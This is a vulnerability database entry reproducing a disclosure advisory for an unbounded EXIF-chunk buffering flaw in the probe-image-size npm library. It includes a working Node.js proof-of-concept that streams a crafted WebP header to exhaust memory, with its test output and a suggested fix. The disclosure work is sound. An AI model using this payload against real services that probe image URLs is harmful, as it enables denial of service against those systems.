Vulnerability DatabaseGHSA-5v8x-rm7w-m4c7

GHSA-5v8x-rm7w-m4c7: 
JavaScript vulnerability analysis and mitigation

Filed here at the maintainer's request, in reply to our email of 2026-10-21: one GitHub report per issue. This is one of four separate reports split out of that email, and it stands alone. Found with AploSec, our security scanner, and confirmed by execution.

Summary

In the stream and URL paths, a WebP file that declares an EXIF chunk of length 0xFFFFFFF0 makes the parser buffer every byte it receives while waiting for that chunk, and the probe never resolves. In the test, 1,500 MB sent gave 1,564 MB of resident memory.

Affected versions

  • probe-image-size 7.4.0 (npm latest, published 2026-08-15). Default-branch HEAD 64565c3c ("7.4.0 released") is identical to the release, and it is still the latest commit and version as of 2026-10-22.

Details

lib/parse_stream/webp.js:91 (parseExif). After the VP8X header, the parser reads the EXIF chunk with parser._bytes(length), where length is the 32-bit size taken from the file. There is no upper bound, so the stream parser accumulates data until that many bytes have arrived. probe.sync is not affected because it works on a buffer the caller already holds. Attacker model: remote and unauthenticated. The attacker controls the image stream, most realistically by serving it from a URL that the target passes to probe(url).

Proof of concept

poc4.js (node poc4.js attack 1500 or node poc4.js control 1):

// unbounded buffering of declared EXIF chunk (webp). arg: attack|control, MB to send
const { PassThrough } = require('stream'); const probe = require('probe-image-size')
const mode = process.argv[2], MB = +process.argv[3]
const u32 = n => { const b = Buffer.alloc(4); b.writeUInt32LE(n >>> 0); return b }
const vp8x = Buffer.concat([Buffer.from('VP8X'), u32(10), Buffer.from([8, 0, 0, 0, 9, 0, 0, 9, 0, 0])]) // 10x10 + EXIF flag
const declared = mode === 'attack' ? 0xFFFFFFF0 : 64
const head = Buffer.concat([Buffer.from('RIFF'), u32(0xFFFFFFF0), Buffer.from('WEBP'), vp8x, Buffer.from('EXIF'), u32(declared)])
const ps = new PassThrough(); let sent = 0, done = false
probe(ps).then(r => { done = true; console.log('RESOLVED', JSON.stringify(r)) }, e => { done = true; console.log('REJECTED', e.message) })
ps.write(head)
const mb = () => (process.memoryUsage().rss / 1048576).toFixed(0)
const t = setInterval(() => {
  if (done || sent >= MB) { clearInterval(t); console.log(`${mode}: sent=${sent}MB rss=${mb()}MB resolved=${done}`); process.exit(0) }
  ps.write(Buffer.alloc(1 << 20, 0x41)); sent++
}, 0)

Test environment: Docker node:22-slim (Node 22.23.4), npm i probe-image-size@7.4.0 (and 7.3.0 in ./old where noted), runs with docker run --rm --network none. Control: the same stream with a declared EXIF length of 64 resolves at once with the right size, memory flat:

RESOLVED {"width":10,"height":10,"type":"webp","mime":"image/webp","wUnits":"px","hUnits":"px"}
control: sent=1MB rss=57MB resolved=true

Attack:

attack: sent=1500MB rss=1564MB resolved=false

Impact

Low. Memory grows one to one with the bytes the attacker actually sends, so there is no amplification. But the probe never resolves or rejects on its own, and the library otherwise reads only a small header, so callers do not expect it to hold hundreds of megabytes. On the URL path the needle read timeout is idle based, so a server that keeps sending is never cut off. The realistic attacker is a malicious HTTP server behind a URL the target is asked to probe (link previews, avatar or image URL fields). Several such connections can exhaust the process's memory.

Suggested fix

Reject or skip EXIF chunks whose declared size is above a sane maximum (for example 64 KiB, since only the orientation tag is needed) before calling parser._bytes(length). Zachariah Mithani (zachariah@aplosai.com) AploSec (aplosec.si) Credit: Zachariah Mithani (@zachariah-mithani, AploSec)


Source: NVD

Related JavaScript vulnerabilities:

CVE ID

Severity

Score

Technologies

Component name

CISA KEV exploit

Has fix

Published date

GHSA-gvwc-5hr5-44p8HIGH7.5
  • JavaScript logoJavaScript
  • probe-image-size
NoYesOct 26, 2026
GHSA-5jh3-w3fj-6758LOW3.7
  • JavaScript logoJavaScript
  • probe-image-size
NoYesOct 26, 2026
GHSA-5v8x-rm7w-m4c7LOW3.7
  • JavaScript logoJavaScript
  • probe-image-size
NoYesOct 26, 2026
GHSA-7pqp-3q23-mwr8LOW3.7
  • JavaScript logoJavaScript
  • probe-image-size
NoYesOct 26, 2026
GHSA-3qg4-7mq2-gm93MEDIUMN/A
  • JavaScript logoJavaScript
  • probe-image-size
NoYesOct 26, 2026

Free Vulnerability Assessment

Benchmark your Cloud Security Posture

Evaluate your cloud security practices across 9 security domains to benchmark your risk level and identify gaps in your defenses.

Request assessment

Additional Wiz resources

Get a personalized demo

Ready to see Wiz in action?

"Best User Experience I have ever seen, provides full visibility to cloud workloads."
David EstlickCISO
"Wiz provides a single pane of glass to see what is going on in our cloud environments."
Adam FletcherChief Security Officer
"We know that if Wiz identifies something as critical, it actually is."
Greg PoniatowskiHead of Threat and Vulnerability Management